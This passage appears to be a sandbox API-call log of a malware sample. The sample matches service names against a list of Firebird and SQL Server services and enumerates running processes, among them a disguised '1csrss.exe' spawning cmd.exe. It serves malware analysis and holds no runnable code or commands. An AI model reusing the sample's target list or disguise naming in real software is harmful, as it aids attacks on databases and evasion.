[0319.525] lstrlenW (lpString="NgcSvc") returned 6 [0319.525] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0319.525] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0319.525] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0319.525] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0319.525] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0319.525] lstrlenW (lpString="NlaSvc") returned 6 [0319.525] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0319.525] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0319.526] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0319.526] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0319.526] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0319.526] lstrlenW (lpString="nsi") returned 3 [0319.526] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0319.526] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0319.526] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0319.526] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0319.526] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0319.526] lstrlenW (lpString="PcaSvc") returned 6 [0319.526] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0319.526] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0319.526] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0319.526] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0319.526] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0319.526] lstrlenW (lpString="PlugPlay") returned 8 [0319.526] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0319.526] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0319.526] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0319.526] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0319.934] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0319.934] lstrlenW (lpString="Power") returned 5 [0319.937] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0319.937] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0319.937] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0319.937] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0319.937] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0319.937] lstrlenW (lpString="ProfSvc") returned 7 [0319.937] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0319.937] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0319.938] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0319.938] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0319.938] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0319.938] lstrlenW (lpString="RpcEptMapper") returned 12 [0319.938] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0319.938] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0319.938] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0319.938] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0319.938] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0319.938] lstrlenW (lpString="RpcSs") returned 5 [0319.938] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0319.938] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0319.938] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0319.938] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0319.938] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0319.938] lstrlenW (lpString="SamSs") returned 5 [0319.938] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0319.938] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0319.938] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0319.938] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0319.938] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0319.938] lstrlenW (lpString="Schedule") returned 8 [0319.938] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0319.938] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0319.938] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0319.938] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0319.938] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0319.938] lstrlenW (lpString="SecurityHealthService") returned 21 [0319.938] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0319.938] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0319.939] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0319.939] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0319.939] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0319.939] lstrlenW (lpString="SENS") returned 4 [0319.939] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0319.939] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0319.939] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0319.939] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0319.939] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0319.939] lstrlenW (lpString="ShellHWDetection") returned 16 [0319.939] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0319.939] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0319.939] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0319.939] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0319.939] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0319.939] lstrlenW (lpString="Spooler") returned 7 [0319.939] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0319.939] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0319.939] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0319.939] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0319.939] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0319.939] lstrlenW (lpString="SSDPSRV") returned 7 [0319.939] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0319.939] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0319.939] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0319.939] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0319.939] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0319.939] lstrlenW (lpString="StateRepository") returned 15 [0319.939] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0319.940] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0319.940] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0319.940] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0319.940] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4532890 | out: hHeap=0x6e0000) returned 1 [0319.940] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x320 [0319.943] Process32FirstW (in: hSnapshot=0x320, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0319.943] Process32NextW (in: hSnapshot=0x320, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x94, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0319.944] lstrlenW (lpString="System") returned 6 [0319.944] Process32NextW (in: hSnapshot=0x320, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0319.944] lstrlenW (lpString="smss.exe") returned 8 [0319.944] Process32NextW (in: hSnapshot=0x320, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0319.945] lstrlenW (lpString="csrss.exe") returned 9 [0319.945] Process32NextW (in: hSnapshot=0x320, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0319.946] lstrlenW (lpString="wininit.exe") returned 11 [0319.946] Process32NextW (in: hSnapshot=0x320, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0319.947] lstrlenW (lpString="csrss.exe") returned 9 [0319.947] Process32NextW (in: hSnapshot=0x320, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0319.947] lstrlenW (lpString="winlogon.exe") returned 12 [0319.947] Process32NextW (in: hSnapshot=0x320, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0319.948] lstrlenW (lpString="services.exe") returned 12 [0319.948] Process32NextW (in: hSnapshot=0x320, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0319.948] lstrlenW (lpString="lsass.exe") returned 9 [0319.948] Process32NextW (in: hSnapshot=0x320, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0319.949] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0319.949] Process32NextW (in: hSnapshot=0x320, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0319.950] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0319.950] Process32NextW (in: hSnapshot=0x320, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0319.950] lstrlenW (lpString="svchost.exe") returned 11 [0319.950] Process32NextW (in: hSnapshot=0x320, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0319.951] lstrlenW (lpString="svchost.exe") returned 11 [0319.951] Process32NextW (in: hSnapshot=0x320, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0319.952] lstrlenW (lpString="dwm.exe") returned 7 [0319.952] Process32NextW (in: hSnapshot=0x320, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0319.952] lstrlenW (lpString="svchost.exe") returned 11 [0319.952] Process32NextW (in: hSnapshot=0x320, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0319.953] lstrlenW (lpString="svchost.exe") returned 11 [0319.953] Process32NextW (in: hSnapshot=0x320, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0319.954] lstrlenW (lpString="svchost.exe") returned 11 [0319.954] Process32NextW (in: hSnapshot=0x320, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0319.954] lstrlenW (lpString="svchost.exe") returned 11 [0319.954] Process32NextW (in: hSnapshot=0x320, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0319.955] lstrlenW (lpString="svchost.exe") returned 11 [0319.955] Process32NextW (in: hSnapshot=0x320, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0319.956] lstrlenW (lpString="svchost.exe") returned 11 [0319.956] Process32NextW (in: hSnapshot=0x320, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0319.956] lstrlenW (lpString="svchost.exe") returned 11 [0319.956] Process32NextW (in: hSnapshot=0x320, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0319.957] lstrlenW (lpString="svchost.exe") returned 11 [0319.957] Process32NextW (in: hSnapshot=0x320, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x528, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0319.957] lstrlenW (lpString="svchost.exe") returned 11 [0319.958] Process32NextW (in: hSnapshot=0x320, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0319.958] lstrlenW (lpString="svchost.exe") returned 11 [0319.958] Process32NextW (in: hSnapshot=0x320, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0319.959] lstrlenW (lpString="spoolsv.exe") returned 11 [0319.959] Process32NextW (in: hSnapshot=0x320, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0319.959] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0319.960] Process32NextW (in: hSnapshot=0x320, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0319.960] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0319.960] Process32NextW (in: hSnapshot=0x320, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0319.961] lstrlenW (lpString="Memory Compression") returned 18 [0319.961] Process32NextW (in: hSnapshot=0x320, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0319.962] lstrlenW (lpString="svchost.exe") returned 11 [0319.962] Process32NextW (in: hSnapshot=0x320, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0319.962] lstrlenW (lpString="audiodg.exe") returned 11 [0319.962] Process32NextW (in: hSnapshot=0x320, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0319.963] lstrlenW (lpString="sihost.exe") returned 10 [0319.963] Process32NextW (in: hSnapshot=0x320, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0319.964] lstrlenW (lpString="svchost.exe") returned 11 [0319.964] Process32NextW (in: hSnapshot=0x320, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0319.964] lstrlenW (lpString="taskhostw.exe") returned 13 [0319.964] Process32NextW (in: hSnapshot=0x320, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x9f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0319.965] lstrlenW (lpString="explorer.exe") returned 12 [0319.965] Process32NextW (in: hSnapshot=0x320, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0319.966] lstrlenW (lpString="SearchUI.exe") returned 12 [0319.966] Process32NextW (in: hSnapshot=0x320, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0319.966] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0319.966] Process32NextW (in: hSnapshot=0x320, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0319.967] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0319.967] Process32NextW (in: hSnapshot=0x320, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0xa08, pcPriClassBase=8, dwFlags=0x0, szExeFile="1csrss.exe")) returned 1 [0319.968] lstrlenW (lpString="1csrss.exe") returned 10 [0319.968] Process32NextW (in: hSnapshot=0x320, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0319.968] lstrlenW (lpString="svchost.exe") returned 11 [0319.968] Process32NextW (in: hSnapshot=0x320, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x940, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0319.969] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0319.969] Process32NextW (in: hSnapshot=0x320, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0319.969] lstrlenW (lpString="svchost.exe") returned 11 [0319.970] Process32NextW (in: hSnapshot=0x320, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0319.970] lstrlenW (lpString="dllhost.exe") returned 11 [0319.970] Process32NextW (in: hSnapshot=0x320, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0319.971] lstrlenW (lpString="dllhost.exe") returned 11 [0319.971] Process32NextW (in: hSnapshot=0x320, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0319.971] lstrlenW (lpString="dllhost.exe") returned 11 [0319.972] Process32NextW (in: hSnapshot=0x320, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0xd88, pcPriClassBase=8, dwFlags=0x0, szExeFile="1csrss.exe")) returned 1 [0319.972] lstrlenW (lpString="1csrss.exe") returned 10 [0319.972] Process32NextW (in: hSnapshot=0x320, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xc50, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0319.973] lstrlenW (lpString="cmd.exe") returned 7 [0319.973] Process32NextW (in: hSnapshot=0x320, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xb88, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0319.973] lstrlenW (lpString="conhost.exe") returned 11 [0319.973] Process32NextW (in: hSnapshot=0x320, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xb88, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0319.974] CloseHandle (hObject=0x320) returned 1 [0319.974] Sleep (dwMilliseconds=0x1f4) Thread: id = 43 os_tid = 0xe88 [0271.035] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x73cab8 [0271.035] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xfffe) returned 0x75af58 [0271.035] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x73cad0 [0271.036] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x73cad0, Size=0x20) returned 0x71e7c8 [0271.036] RtlAllocateHeap 